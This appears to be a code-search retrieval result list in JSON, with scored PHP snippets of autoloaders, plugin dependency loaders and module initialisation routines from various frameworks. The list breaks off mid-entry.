[ { "docid": "c7e848a0df840d682db138ac1eb11a87", "score": "0.55411285", "text": "function load_import_deps()\n{\n\trequire_all_lang();\n\trequire_code('config2');\n\trequire_code('ocf_groups');\n\trequire_code('ocf_members');\n\trequire_code('ocf_moderation_action');\n\trequire_code('ocf_posts_action');\n\trequire_code('ocf_polls_action');\n\trequire_code('ocf_members_action');\n\trequire_code('ocf_groups_action');\n\trequire_code('ocf_general_action');\n\trequire_code('ocf_forums_action');\n\trequire_code('ocf_topics_action');\n\trequire_code('ocf_moderation_action2');\n\trequire_code('ocf_posts_action2');\n\trequire_code('ocf_polls_action2');\n\trequire_code('ocf_members_action2');\n\trequire_code('ocf_groups_action2');\n\trequire_code('ocf_general_action2');\n\trequire_code('ocf_forums_action2');\n\trequire_code('ocf_topics_action2');\n\trequire_css('importing');\n\trequire_code('database_action');\n}", "title": "" }, { "docid": "1ba2f5117691a0958395f97973093d3c", "score": "0.5351344", "text": "public function __construct() {\n $this->cashflowlibrary = new CashflowLibrary;\n $this->cashflowdropdownslibrary = new CashflowDropdownsLibrary;\n }", "title": "" }, { "docid": "9ac061968093c5f5bad0592b3f88b5fb", "score": "0.532464", "text": "public function __construct() {\n $this->cashflowlibrary = new CashflowLibrary;\n $this->cashflowdropdownslibrary = new CashflowDropdownsLibrary;\n }", "title": "" }, { "docid": "23f63d8521fb2cc1da8927364fa87082", "score": "0.5319284", "text": "public function load_dependencies()\n {\n /**\n * Admin Section\n */\n if (is_admin()) {\n new INCLUDES\\Admin\\Admin();\n } else {\n new INCLUDES\\Client\\Client();\n }\n }", "title": "" }, { "docid": "944c6ccfe4772ad8eda07d65068f5992", "score": "0.52713966", "text": "private function load_dependencies() {\r\n\r\n\t\t/**\r\n\t\t * The class responsible for orchestrating the actions and filters of the\r\n\t\t * core plugin.\r\n\t\t */\r\n\t\trequire_once ACME_DEMO_SETUP_PATH . 'includes/loader.php';\r\n\r\n\t\t/**\r\n\t\t * The class responsible for defining internationalization functionality\r\n\t\t * of the plugin.\r\n\t\t */\r\n\t\trequire_once ACME_DEMO_SETUP_PATH . 'includes/i18n.php';\r\n\r\n\t\t/**\r\n\t\t * The class responsible for defining all actions that occur in the admin area.\r\n\t\t */\r\n require_once ACME_DEMO_SETUP_PATH . 'includes/functions.php';\r\n\t\trequire_once ACME_DEMO_SETUP_PATH . 'includes/hooks.php';\r\n\r\n\t\t/*API*/\r\n require_once ACME_DEMO_SETUP_PATH . 'includes/api.php';\r\n\r\n\r\n $this->loader = new Acme_Demo_Setup_Loader();\r\n\r\n\t}", "title": "" }, { "docid": "a7b8f099633b204deedda54089b9cfbd", "score": "0.52211744", "text": "public static function importLibrary(){\n JLoader::discover(self::SOCIALPROMOTER_CLASSPREFIX, PATH_SOCIALPROMOTER_LIBRARY);\n }", "title": "" }, { "docid": "47fc2da10234f703b510b1bd7124a523", "score": "0.51679987", "text": "public function load(){\n spl_autoload_register(function ($class_name) {\n list($folder, $other) = explode(\"_\", $class_name);\n $folder = strtolower($folder);\n $filename = $folder.$other. '.php';\n $file = __SITE_PATH . '/components/' .$folder.'/'. $filename;\n try{\n if (file_exists($file) == false)\n {\n throw new Exception(\"class not found, Comp404\");\n return false;\n }\n include ($file);\n }catch(Exception $ex){\n echo 'Caught Exception :: '.$ex->getMessage();\n }\n \n}); \n }", "title": "" }, { "docid": "b27d07375e2c2116e89f2b105897d757", "score": "0.51351476", "text": "function __autoload($c_name)\n{\n\tinclude(\"classes/$c_name.php\"); // it include all classes who have in classes director\n}", "title": "" }, { "docid": "f75747acf3f654a09f9dbe7a085d24cb", "score": "0.5121888", "text": "public function load_third_party_integrations() {\r\n\t\t// required..*\r\n\t\tinclude_once( ABSPATH . 'wp-admin/includes/plugin.php' );\r\n\t\t/* Visual Composer */\r\n\t\tif( is_plugin_active( 'js_composer/js_composer.php' ) ) {\r\n\t\t\tnew YIKES_Mailchimp_Visual_Composer_Extension();\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "08f224821f0b4f4d627d04b3b727ce22", "score": "0.5103465", "text": "function libreriasKool()\n{\n include_once '../brules/KoolControls/KoolGrid/koolgrid.php';\n require_once '../brules/KoolControls/KoolCalendar/koolcalendar.php';\n include_once '../brules/KoolControls/KoolGrid/ext/datasources/MySQLiDataSource.php';\n}", "title": "" }, { "docid": "0ebe33d5e8aad43fd818c274f8437ad9", "score": "0.50237584", "text": "public function classes() {\n\t\trequire_once($this->get_filepath('classes').'classes-loader.php');\n\t}", "title": "" }, { "docid": "ae519e253ad152ae2418448e5d8b6aca", "score": "0.5010617", "text": "function __autoload($c) {\n $paths = array('./', './libs/', './dao/ponto/', './dao/ldap/', './conf/',);\n \n foreach ($paths as $dir) {\n if (file_exists($dir . $c . '.php')) {\n require_once $dir . $c . \".php\";\n }\n }\n}", "title": "" }, { "docid": "0dfc920a20fa3dce678e5a2c66a7379e", "score": "0.50083864", "text": "function __autoload( $c ) {\n\tinclude( $c.'.php' );\n}", "title": "" }, { "docid": "32284b9ce0f483103f6e7e6719d960f0", "score": "0.5001711", "text": "public function auto_load(){\n\t\t//allow the componenets no exists\n\t\tif(DEBUG){\n\t\t\techo 'DEBUG: INFO CLASS: router ,METHOD: auto_load'.PHP_EOL;\n\t\t}\n\t\tif(is_dir(APPPATH.'/'.$this->module.'/components')){\n\t\t\t$file_arr\t= get_file(APPPATH.'/'.$this->module.'/components');\n\t\t\tif(count($file_arr) > 0){\n\t\t\t\tforeach($file_arr as $file_name){\n\t\t\t\t\tif(DEBUG){\n\t\t\t\t\t\techo 'DEBUG: INFO LOADING COMPONENTS module'.$this->module.' file '.$file_name.PHP_EOL;\n\t\t\t\t\t}\n\t\t\t\t\tload_class($file_name, 'components', $this->module);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// version 1.1 now not autoload the controller floder\n#\t\tif(!is_dir(APPPATH.'/'.$this->module.'/controller')){\n#\t\t\texit($this->module.' controller directory does not exists ');\n#\t\t}else{\n#\t\t\t$controller_arr\t= get_file(APPPATH.'/'.$this->module.'/controller');\n#\t\t\tif(count($controller_arr) > 0){\n#\t\t\t\tforeach($controller_arr as $controller){\n#\t\t\t\t\tif(DEBUG){\n#\t\t\t\t\t\techo 'DEBUG: INFO LOADING COTROLLER module '.$this->module.' file '.$file_name.PHP_EOL;\n#\t\t\t\t\t}\n#\t\t\t\t\tload_class($controller, 'controller', $this->module);\n#\t\t\t\t}\n#\t\t\t}\n#\t\t}\n\n\t}", "title": "" }, { "docid": "b7dcb4539c8ee9027446264f779c691a", "score": "0.49941197", "text": "function __autoload($class_name){\n\t\trequire_once ('libraries/'.$class_name.'.php');\n\t\t\n\t}", "title": "" }, { "docid": "9e633d79780e8e3e45e8cadccbf2e97c", "score": "0.49909303", "text": "public function includes() {\n\n\t\tif ( defined( 'LQCHARTS_LIBRARIES_PATH' ) ) {\n\t\t\trequire LQCHARTS_PLUGIN_PATH . 'vendor/autoload.php';\n\t\t\trequire LQCHARTS_LIBRARIES_PATH . 'class-metabox.php';\n\t\t\trequire LQCHARTS_LIBRARIES_PATH . 'class-shortcode.php';\n\t\t\trequire LQCHARTS_LIBRARIES_PATH . 'class-reports.php';\n\t\t\trequire LQCHARTS_LIBRARIES_PATH . 'class-wp-list-table.php';\n\t\t\trequire LQCHARTS_LIBRARIES_PATH . 'class-quiz-history.php';\n\t\t}\n\n\t}", "title": "" }, { "docid": "e6f577d409de97bd13029acac52f14f9", "score": "0.49896732", "text": "private function loadDependencies()\r\n {\r\n $objAutoload = new AutoLoad($this->coreConf);\r\n spl_autoload_register(array(&$objAutoload, 'includeClassFile'));\r\n spl_autoload_register(array(&$objAutoload, 'includeReCaptcha'));\r\n }", "title": "" }, { "docid": "3042e6191fa6f403b570778fbb453bc4", "score": "0.49629745", "text": "public static function importHelpers(){\n JLoader::discover(self::SOCIALPROMOTER_CLASSPREFIX, PATH_SOCIALPROMOTER_HELPERS);\n }", "title": "" }, { "docid": "228aebc3834f4ae50192d410a1e7e7cd", "score": "0.49462327", "text": "static public function ctrCalcularComprobacionImportacion(){\r\n\t\t$tabla = \"banco1286\";\r\n\r\n\t\t$respuesta = ModeloBanco1286::mdlCalcularComprobacionImportacion($tabla);\r\n\r\n\t\treturn $respuesta;\r\n\t}", "title": "" }, { "docid": "a0fd64feb9a60741e3e17ebde2cf3942", "score": "0.49353456", "text": "private function load_dependencies() {\n\n\t\t/** Orchestrating the actions and filters of the core plugin. */\n\t\trequire_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/class-badgeup-loader.php';\n\n\t\t/** Defining internationalization functionality of the plugin. */\n\t\trequire_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/class-badgeup-i18n.php';\n\n\t\t/** BadgeUp API handler. */\n\t\trequire_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/class-badgeup-api.php';\n\n\t\t/** BadgeUp Earned Achievements widgets. */\n\t\trequire_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/class-badgeup-widget.php';\n\n\t\t/** Defining all actions that occur in the admin area. */\n\t\trequire_once plugin_dir_path( dirname( __FILE__ ) ) . 'admin/class-badgeup-admin.php';\n\n\t\t/** Defining all actions that occur in the public-facing side of the site. */\n\t\trequire_once plugin_dir_path( dirname( __FILE__ ) ) . 'public/class-badgeup-public.php';\n\n\t\t$this->loader = new BadgeUp_Loader();\n\n\t}", "title": "" }, { "docid": "b9001cb660ffcafba15915acf36bb448", "score": "0.49348953", "text": "function activate_jsc_courses(){\n\trequire_once( plugin_dir_path( __FILE__ ) . '/includes/class-jsc-courses-activator.php' );\n\t$jsc_courses_activator = new Jsc_Courses_Activator();\n\t$jsc_courses_activator->activatePlugin();\n}", "title": "" }, { "docid": "64b7710bce47eb672927d3516b7bce50", "score": "0.49293667", "text": "public function registerMyComponents()\n {\n $this->Application()->Loader()->registerNamespace(\n 'Shopware\\SatagMd5Osc',\n $this->Path()\n );\n }", "title": "" }, { "docid": "788b88f44a4e154d690ea2838d2c4871", "score": "0.49269104", "text": "private function load_dependencies()\n {\n /**\n * The base class for the theme's schema pieces.\n */\n require_once plugin_dir_path(dirname(__FILE__)) . 'includes/class-avia-yoast-schema-pieces.php';\n\n /**\n * The base class for the theme's schema pieces.\n */\n require_once plugin_dir_path(dirname(__FILE__)) . 'shortcodes/toggles.php';\n }", "title": "" }, { "docid": "f43d2f55f29cd80d0bcddb1bc4294eef", "score": "0.4924849", "text": "abstract public function afterImport();", "title": "" }, { "docid": "cd92fc70047a4d2f9e650cfcaa52d98c", "score": "0.49145195", "text": "abstract public function beforeImport();", "title": "" }, { "docid": "be300be9d98d7cd1f5a533b11bad7739", "score": "0.4911131", "text": "public function getImport()\n\t{\t\n\t\t$path = Input::get('path', $this->masterDir);\n\t\t//$this->masterDir = \"/Library/WebServer/Documents/pine/pineneedles/contents/02_Documentation/01_Sugar_Editions/01_Sugar_Ultimate/Sugar_Ultimate_7.1/Administration_Guide/07_Developer_Tools/01_Studio/\";\n\t\t$this->loadDirectory($path);\n\t}", "title": "" }, { "docid": "9b162a7b4f6ba08906362cb92e510fc3", "score": "0.49087816", "text": "private function load_dependencies() {\n require_once plugin_dir_path(dirname(__FILE__)) . 'includes/class-chicago-art-importer-loader.php';\n require_once plugin_dir_path(dirname(__FILE__)) . 'admin/class-chicago-art-importer-admin.php';\n\n $this->loader = new Chicago_Art_Importer_Loader();\n }", "title": "" }, { "docid": "b7fe588bd1a7e7c91377913d630425de", "score": "0.48995376", "text": "private function viewComposers()\n {\n // Loading dynamic menu when calling the view\n View::composer('boilerplate::layout.mainsidebar', MenuComposer::class);\n\n // For datatables locales\n View::composer([\n 'boilerplate::load.datatables',\n 'boilerplate::load.async.datatables',\n ], DatatablesComposer::class);\n\n // Check if Media Manager is installed\n View::composer(['boilerplate::load.tinymce', 'boilerplate::load.async.tinymce'], TinymceLoadComposer::class);\n\n // Components\n $components = [\n 'card',\n 'codemirror',\n 'colorpicker',\n 'datatable',\n 'datetimepicker',\n 'daterangepicker',\n 'form',\n 'icheck',\n 'infobox',\n 'input',\n 'minify',\n 'password',\n 'select2',\n 'smallbox',\n 'tinymce',\n 'toggle',\n ];\n\n foreach ($components as $component) {\n View::composer([\n \"boilerplate::$component\",\n \"boilerplate::components.$component\",\n ], 'Sebastienheyd\\Boilerplate\\View\\Composers\\\\'.ucfirst($component).'Composer');\n }\n }", "title": "" }, { "docid": "0e81c85dee5b8d4228b7e10306647aa4", "score": "0.4890344", "text": "public function init()\n\t{\n\t\t$this->setImport(array(\n\t\t\t'hrbac.models.*',\n\t\t\t'hrbac.components.*',\n\t\t));\n\t}", "title": "" }, { "docid": "258d74ef7b97a0c07f0d48f2930eed00", "score": "0.48878843", "text": "public function importDatas(){\n $arrModules = array(\n 'bannerslider'=>'BannerSlider',\n 'blockhtml'=>'BlockHtml',\n 'flexbanner'=>'FlexBanner',\n 'flexgroupbanners'=>'FlexGroupBanners',\n 'pagelink'=>'PageLink',\n 'ovicparallaxblock'=>'OvicParallaxBlock',\n 'simplecategory'=>'SimpleCategory',\n 'verticalmegamenus'=>'VerticalMegaMenus',\n 'advancetopmenu'=>'AdvanceTopMenu',\n 'advancefooter'=>'AdvanceFooter', \n );\n foreach($arrModules as $module=>$moduleClassName){\n if( Module::isInstalled($module) == 1){\n include_once(_PS_MODULE_DIR_.$module.'/'.$module.'.php');\n $moduleClass = new $moduleClassName();\n $moduleClass->importSameData(_PS_MODULE_DIR_.'oviclayoutcontrol/samedatas/');\n if($module == 'bannerslider') $moduleClass->importHomeSliderSameData(_PS_MODULE_DIR_.'oviclayoutcontrol/samedatas/');\n }\n }\n return true; \n }", "title": "" }, { "docid": "4dd95e5a2b585f70bb50212f1f9d5d64", "score": "0.48818302", "text": "static public function ctrCalcularComprobacionImportacion(){\r\n\t\t$tabla = \"banco0198\";\r\n\r\n\t\t$respuesta = ModeloBanco0198Diario::mdlCalcularComprobacionImportacion($tabla);\r\n\r\n\t\treturn $respuesta;\r\n\t}", "title": "" }, { "docid": "7e5789c137d353a8ba50fc9444f63322", "score": "0.48743826", "text": "function __autoload($class_name){\r\n\trequire_once('libs/' . $class_name . '.php');\r\n}", "title": "" }, { "docid": "b981032ad74d1379c9ed5ea55877a0de", "score": "0.4864616", "text": "function autoload() {\n\t$filenames = array(\n\t\t'support/formatting.php',\n\t\t'support/load-assets.php',\n\t\t'support/markup.php',\n\t\t'structure/archive.php',\n\t\t'structure/comments.php',\n\t\t'structure/footer.php',\n\t\t'structure/header.php',\n\t\t'structure/post.php',\n\t);\n\n\tforeach ( $filenames as $filename ) {\n\t\trequire_once __DIR__ . '/lib/' . $filename;\n\t}\n}", "title": "" }, { "docid": "09cf897338cd3e9e27b2db16a3ea0c0e", "score": "0.48589787", "text": "private function includes() {\n if ( !class_exists( __NAMESPACE__ . '\\DatabaseActions' ) ) {\n require_once __DIR__ . '/DatabaseActions.php';\n }\n if ( !class_exists( __NAMESPACE__ . '\\AutoFiller' ) ) {\n require_once __DIR__ . '/AutoFiller.php';\n }\n }", "title": "" }, { "docid": "8efaa8c6f8cab97b922dda84f9710874", "score": "0.4857048", "text": "private function includes() {\n\t\t\t$dependencies = [\n\t\t\t\t'/vendor/autoload.php',\n\t\t\t\t'/vendor/woocommerce/action-scheduler/action-scheduler.php'\n\t\t\t];\n\n\t\t\tforeach ( $dependencies as $path ) {\n\t\t\t\tif ( ! file_exists( AIOSEO_DIR . $path ) ) {\n\t\t\t\t\t// Something is not right.\n\t\t\t\t\tstatus_header( 500 );\n\t\t\t\t\twp_die( esc_html__( 'Plugin is missing required dependencies. Please contact support for more information.', 'all-in-one-seo-pack' ) );\n\t\t\t\t}\n\t\t\t\trequire AIOSEO_DIR . $path;\n\t\t\t}\n\n\t\t\tadd_action( 'plugins_loaded', [ $this, 'actionScheduler' ], 10 );\n\t\t}", "title": "" }, { "docid": "1e3f1e0dc7568654c36d4b02477228a8", "score": "0.48399612", "text": "function testingAutoloader($name) \r\n{\r\n //echo \"\\n Autoloading $name \\n\";\r\n $name = str_replace('jet\\Formatter\\\\', '', $name);\r\n $file = __DIR__ . \"/../src/classes/$name.class.php\";\r\n \r\n if (is_file($file)) {\r\n include $file;\r\n }\r\n else {\r\n echo \"\\n $file \\n\";\r\n }\r\n}", "title": "" }, { "docid": "f1c08c015461db281dee7df21c2eda8e", "score": "0.48349026", "text": "function anunaboilerplate_autoload($className) {\n $segments = explode( '_', $className );\n unset($segments[0]);\n $name = array_map('strtolower', $segments);\n $name = implode('/', $name);\n $filename = ANUNABOILERPLATE_DIR . \"lib/\" . $name. \".php\";\n if (is_readable($filename)) {\n require $filename;\n }\n}", "title": "" }, { "docid": "0fc0ec92ea46bd646d1c7b1c4d303a5a", "score": "0.48316318", "text": "public static function register_autoloader() {\n\t\trequire_once dirname(__DIR__) . '/src/Autoload.php';\n\t\tWpOrg\\Requests\\Autoload::register();\n\t}", "title": "" }, { "docid": "6967097fcdb989a5b8b4eb2383f12ac6", "score": "0.4828326", "text": "function mint_ab_testing_loader() {\n\tif ( ! isset($GLOBALS['mint_ab_testing']) ) {\n\t\t$GLOBALS['mint_ab_testing'] = new Mint_AB_Testing();\n\t}\n}", "title": "" }, { "docid": "2e64bc2c06e10b6665915e9588b624c6", "score": "0.48235124", "text": "function __autoload($classe) {\r\n\tif (file_exists ( __DIR__ . \"/../bo/$classe.php\" )) {\r\n\t\tinclude_once __DIR__ . \"/../bo/$classe.php\";\r\n\t}\r\n}", "title": "" }, { "docid": "0d598f004761ac6e6dd4fb67f6399e60", "score": "0.48142838", "text": "function acp_init() {\n\t$dependencies = new AC_Dependencies( plugin_basename( ACP_FILE ) );\n\t$dependencies->check_php_version( '5.3' );\n\n\tif ( $dependencies->has_missing() ) {\n\t\treturn;\n\t}\n\n\trequire_once 'bootstrap.php';\n}", "title": "" }, { "docid": "d5dc6913ea469fb2be09b4694dff31c5", "score": "0.4813003", "text": "private function load_dependencies()\n {\n /**\n * The class used for setting up admin actions and hooks\n */\n require_once( TBC_MIGRATION_PLUGIN_DIR . '/admin/class.tbc-migration.admin.php' );\n }", "title": "" }, { "docid": "9eb3b2d294dcea677f6dce7f614c3e7d", "score": "0.48007208", "text": "function mi_autoload($clase){\n $partes = explode('\\\\', $clase); //------ explode() toma un string, lo divide en el elemento que se busca \"\\\" y devuelve un arreglo con los elementos resultantes\n \n //Usamos explode() porque en la direccion resultante va incluido un \"App\\\" (POR EL NAMESPACES) que necesitabamos eliminar.\n\n require __DIR__ . '/clases/' . $partes[1] . '.php';\n}", "title": "" }, { "docid": "78c339a02469a9fea5036bab7c88d9de", "score": "0.4796355", "text": "protected function __construct() {\n $this->commands = array();\n \n // get the list of packages that contain commands\n $allPackages = CriticalI_Package_List::get();\n $cmdPackages = $allPackages->commandVersions();\n \n // load the commands from each package version\n foreach ($cmdPackages as $pkg) {\n $this->add_commands_by_glob($pkg->installation_directory(),\n $pkg->property('command.glob', CriticalI_Defaults::COMMAND_GLOB));\n }\n \n // load the core commands\n $this->add_commands_by_glob('Core', CriticalI_Defaults::CORE_COMMAND_GLOB);\n }", "title": "" }, { "docid": "9be2962e805a0db5425085d86cbae137", "score": "0.478862", "text": "function autoload($clase){\n\t\tinclude \"Clases/\" . $clase . \".php\";\n\t}", "title": "" }, { "docid": "d4fd6325d6ae170bc1f3f455ab6ad97b", "score": "0.47877672", "text": "private function load_dependencies() {\n \n /**\n\t\t * The class responsible for defining internationalization functionality\n\t\t * of the plugin.\n\t\t */\n\t\trequire_once plugin_dir_path( __FILE__ ) . 'class-predic-simple-backup-i18n.php';\n \n /**\n\t\t * The class responsible for defining all actions that occur in the admin area.\n\t\t */\n\t\trequire_once plugin_dir_path( dirname( __FILE__ ) ) . 'admin/class-predic-simple-backup-admin.php';\n \n }", "title": "" }, { "docid": "64c6fe4fcd05e13dc2414f1ec03811de", "score": "0.47789896", "text": "private function load_dependencies() {\n\t\t/**\n\t\t * The class responsible for defining all actions that occur\n\t\t * in the public-facing side of the site.\n\t\t */\n\t\trequire_once plugin_dir_path( dirname( __FILE__ ) ) . 'public/class-ts-category-message.php';\n\n\t\t/**\n\t\t * The class responsible for defining all actions that occur in the backend.\n\t\t */\n\t\trequire_once plugin_dir_path( dirname( __FILE__ ) ) . 'admin/class-ts-settings.php';\n\n\t}", "title": "" }, { "docid": "af10ab3c74b2e0189f3776c96ded9ab0", "score": "0.47746047", "text": "public function load_dependencies() {\n\n\t\trequire_once $this->base_dir . '/vendor/autoload.php';\n\t}", "title": "" }, { "docid": "f70d0a426959bed3dde0c7493023e89b", "score": "0.47715947", "text": "private function require_classes() {\n\n\t\trequire_once AF_THEME_DIRPATH . '/src/class-assets.php';\n\t\trequire_once AF_THEME_DIRPATH . '/src/class-custom-fields.php';\n\t\trequire_once AF_THEME_DIRPATH . '/src/class-genesis.php';\n\t\trequire_once AF_THEME_DIRPATH . '/src/class-requireddom.php';\n\t\trequire_once AF_THEME_DIRPATH . '/src/class-navigation.php';\n\t\trequire_once AF_THEME_DIRPATH . '/src/class-people.php';\n\n\t\t// Get Genesis setup the way we want it.\n\t\tglobal $af_genesis;\n\t\t$af_genesis = new \\AgriFlex\\Genesis();\n\n\t\t// Get Genesis setup the way we want it.\n\t\tglobal $af_customfields;\n\t\t$af_customfields = new \\AgriFlex\\Custom_Fields();\n\n\t\t// Enqueue our assets.\n\t\t$af_assets = new \\AgriFlex\\Assets();\n\n\t\t// Fix the navigation.\n\t\t$af_navigation = new \\AgriFlex\\Navigation();\n\n\t\t// Add AgriLife Required DOM Elements.\n\t\tglobal $af_required;\n\t\t$af_required = new \\AgriFlex\\RequiredDOM();\n\n\t\t// Make People plugin customizations.\n\t\t$af_people = new \\AgriFlex\\People();\n\n\t}", "title": "" }, { "docid": "22c4c98bdea6295aa5d68280e11e617b", "score": "0.47673243", "text": "public function componentsAction()\n {\n $objectManager = $this->objectManagerProvider->get();\n $enabledModuleList = $objectManager->get('Magento\\Framework\\Module\\ModuleList');\n $this->fullModuleList = $objectManager->get('Magento\\Framework\\Module\\FullModuleList');\n $this->packageInfo = $objectManager->get('Magento\\Framework\\Module\\PackageInfoFactory')->create();\n\n $lastSyncData = [];\n $authDetails = $this->packagesAuth->getAuthJsonData();\n if ($authDetails) {\n $lastSyncData = $this->packagesData->syncPackagesData();\n }\n $components = $this->composerInformation->getInstalledMagentoPackages();\n $allModules = $this->getAllModules();\n $components = array_replace_recursive($components, $allModules);\n foreach ($components as $component) {\n $components[$component['name']]['update'] = false;\n $components[$component['name']]['uninstall'] = false;\n $components[$component['name']]['moduleName'] = $this->packageInfo->getModuleName($component['name']);\n if ($this->composerInformation->isPackageInComposerJson($component['name'])) {\n if ($component['type'] !== \\Magento\\Framework\\Composer\\ComposerInformation::METAPACKAGE_PACKAGE_TYPE) {\n $components[$component['name']]['uninstall'] = true;\n }\n if (isset($lastSyncData['packages'][$component['name']]['latestVersion'])\n && version_compare(\n $lastSyncData['packages'][$component['name']]['latestVersion'],\n $component['version'],\n '>'\n )) {\n $components[$component['name']]['update'] = true;\n }\n }\n if ($component['type'] === \\Magento\\Framework\\Composer\\ComposerInformation::MODULE_PACKAGE_TYPE) {\n $components[$component['name']]['enable'] =\n $enabledModuleList->has($components[$component['name']]['moduleName']);\n $components[$component['name']]['disable'] = !$components[$component['name']]['enable'];\n } else {\n $components[$component['name']]['enable'] = false;\n $components[$component['name']]['disable'] = false;\n }\n $componentNameParts = explode('/', $component['name']);\n $components[$component['name']]['vendor'] = $componentNameParts[0];\n }\n\n return new \\Zend\\View\\Model\\JsonModel(\n [\n 'success' => true,\n 'components' => array_values($components),\n 'total' => count($components),\n 'lastSyncData' => $lastSyncData\n ]\n );\n }", "title": "" }, { "docid": "235892efcbe07609abd700965a179111", "score": "0.47671464", "text": "private function include_all_classes() {\n require_once 'marley_url_route.class.php';\n require_once 'marley_action.class.php';\n require_once 'marley_template.class.php';\n require_once 'marley_context.class.php';\n }", "title": "" }, { "docid": "7e10cb8a3f0d51c31c7016cb24daa68d", "score": "0.47653502", "text": "function ctnlist_autoload($class_name) {\n $path = CTNLIST_CLASS_DIRECTORY . $class_name . '.php';\n if (file_exists($path)) {\n require_once $path;\n }\n}", "title": "" }, { "docid": "a74e8fffb54e1ba51860069d2022b1df", "score": "0.47632685", "text": "public function init() {\n\n\t\t$component_sets = array(\n\t\t\t'Formation\\\\' => glob( __DIR__ . '/class-*.php' ),\n\t\t\t'Formation\\\\UI\\\\' => glob( __DIR__ . '/ui/class-*.php' ),\n\t\t);\n\n\t\tforeach ( $component_sets as $ns => $components ) {\n\t\t\tforeach ( $components as $component ) {\n\t\t\t\t$component_name = strstr( str_replace( 'class-', '', basename( $component ) ), '.php', true );\n\t\t\t\tif ( 'plugin' === $component_name ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t$method = str_replace( ' ', '_', ucwords( str_replace( '-', ' ', $component_name ) ) );\n\t\t\t\t$class_name = $ns . $method;\n\t\t\t\t$this->components[ $component_name ] = new $class_name( $this );\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "72c66f8ae9954628e80661ee21d5be55", "score": "0.47609875", "text": "function doCustomModules(){\n if(class_exists(\"ET_Builder_Module\")){\n require_once( dirname(__FILE__) . '/classes/divi-custom-modules.php' );\n }\n}", "title": "" }, { "docid": "8e8ef59e0253121924ece8b212e3d212", "score": "0.47566542", "text": "function activate_andmoraho_vendors()\n{\n require_once plugin_dir_path(__FILE__) . 'includes/class-andmoraho-vendors-activator.php';\n Andmoraho_Vendors_Activator::activate();\n}", "title": "" }, { "docid": "e7a696e705f842df42a73f352b8539a9", "score": "0.47449046", "text": "public function init()\n\t{\n\t\t// you may place code here to customize the module or the application\n\n\t\t// import the module-level models and components\n\t\t$this->setImport(array(\n\t\t\t'begemot.models.*',\n\t\t\t'begemot.components.*',\n\t\t\t'crontabs.components.CrontabBase'\n\t\t));\n Yii::app()->getComponent('bootstrap');\n\t}", "title": "" }, { "docid": "c6114e8826078aa132ea646c4ef41959", "score": "0.4743764", "text": "public function load_forminator_addons() {\n\t\t\t$addons_directory = forminator_addons_dir();\n\t\t\tif ( file_exists( $addons_directory . '/class-addon-autoload.php' ) ) {\n\t\t\t\tinclude_once $addons_directory . '/class-addon-autoload.php';\n\t\t\t\t$autoloader = new Forminator_Addon_Autoload();\n\t\t\t\t$autoloader->load();\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "aff7f717fe14e115a762fcff35c14391", "score": "0.47337708", "text": "private function load_dependencies() {\n\t\t/**\n\t\t * The class responsible for defining internationalization functionality\n\t\t * of the plugin.\n\t\t */\n\t\trequire_once plugin_dir_path(dirname(__FILE__)).'includes/class-spark-cw-fresh-i18n.php';\n\n\t\t/**\n\t\t * Class for simplifying creation of custom CPTs\n\t\t */\n\t\trequire_once plugin_dir_path(dirname(__FILE__)).'includes/class-spark-cw-fresh-cpt.php';\n\n\t\t/**\n\t\t * Class for simplifying creation of custom taxonomies\n\t\t */\n\t\trequire_once plugin_dir_path(dirname(__FILE__)).'includes/class-spark-cw-fresh-tax.php';\n\n\t\t/**\n\t\t * Class for simplifying creation of custom post meta\n\t\t */\n\t\trequire_once plugin_dir_path(dirname(__FILE__)).'includes/class-spark-cw-fresh-meta.php';\n\n\t\t/**\n\t\t * Class for handling of recurring tasks\n\t\t */\n\t\trequire_once plugin_dir_path(dirname(__FILE__)).'includes/class-spark-cw-fresh-cron.php';\n\n\t\t/**\n\t\t * The class responsible for defining all actions that occur in the admin area.\n\t\t */\n\t\trequire_once plugin_dir_path(dirname(__FILE__)).'admin/class-spark-cw-fresh-admin.php';\n\n\t\t/**\n\t\t * The class responsible for handling plugin updates.\n\t\t */\n\t\trequire_once plugin_dir_path(dirname(__FILE__)).'admin/class-spark-cw-fresh-updates.php';\n\n\t\t/**\n\t\t * The class responsible for defining all actions that occur in the public-facing\n\t\t * side of the site.\n\t\t */\n\t\trequire_once plugin_dir_path(dirname(__FILE__)).'public/class-spark-cw-fresh-public.php';\n\t}", "title": "" }, { "docid": "d7fd7499113352661fc11059a6bb87a3", "score": "0.47276542", "text": "public function includes()\n {\n /**\n * Core classes.\n */\n new LSC_Setup();\n new LSC_Resources();\n new LSC_Options();\n new LSC_Topics();\n\n include_once LSC_ABSPATH . 'includes/lsc-core-functions.php';\n }", "title": "" }, { "docid": "60d86a85481a603228cbf3fc9aca0eba", "score": "0.4717911", "text": "public function init()\n\t{\n\t\t$this->setImport(array(\n\t\t\t'portal.models.*',\n\t\t\t'portal.components.*',\n\t\t));\n \n \n\t}", "title": "" }, { "docid": "08b24a78121443637db725dde496858a", "score": "0.47178966", "text": "public function getImportable();", "title": "" }, { "docid": "a109bb2b1af8074ae472b342d6da9f7e", "score": "0.47159645", "text": "function __autoload($file) {\n if (file_exists(\"./classes/$file.php\")) {\n require_once \"./classes/$file.php\";\n // second i need to import parent controller\n } else if (file_exists(\"./App/Controllers/parent/$file.php\")) {\n require_once \"./App/Controllers/parent/$file.php\";\n // third i need to import any required controller\n } else if (file_exists(\"./App/Controllers/$file.php\")) {\n require_once \"./App/Controllers/$file.php\";\n // fourth i need to import any required model\n } else if (file_exists(\"./App/Models/$file.php\")) {\n require_once \"./App/Models/$file.php\";\n // fifth i need to import any required action\n } else if (file_exists(\"./App/Models/Actions/$file.php\")) {\n require_once \"./App/Models/Actions/$file.php\";\n }\n}", "title": "" }, { "docid": "b537a44a2de4bc776363539e5838dae5", "score": "0.47099906", "text": "public function testImport() 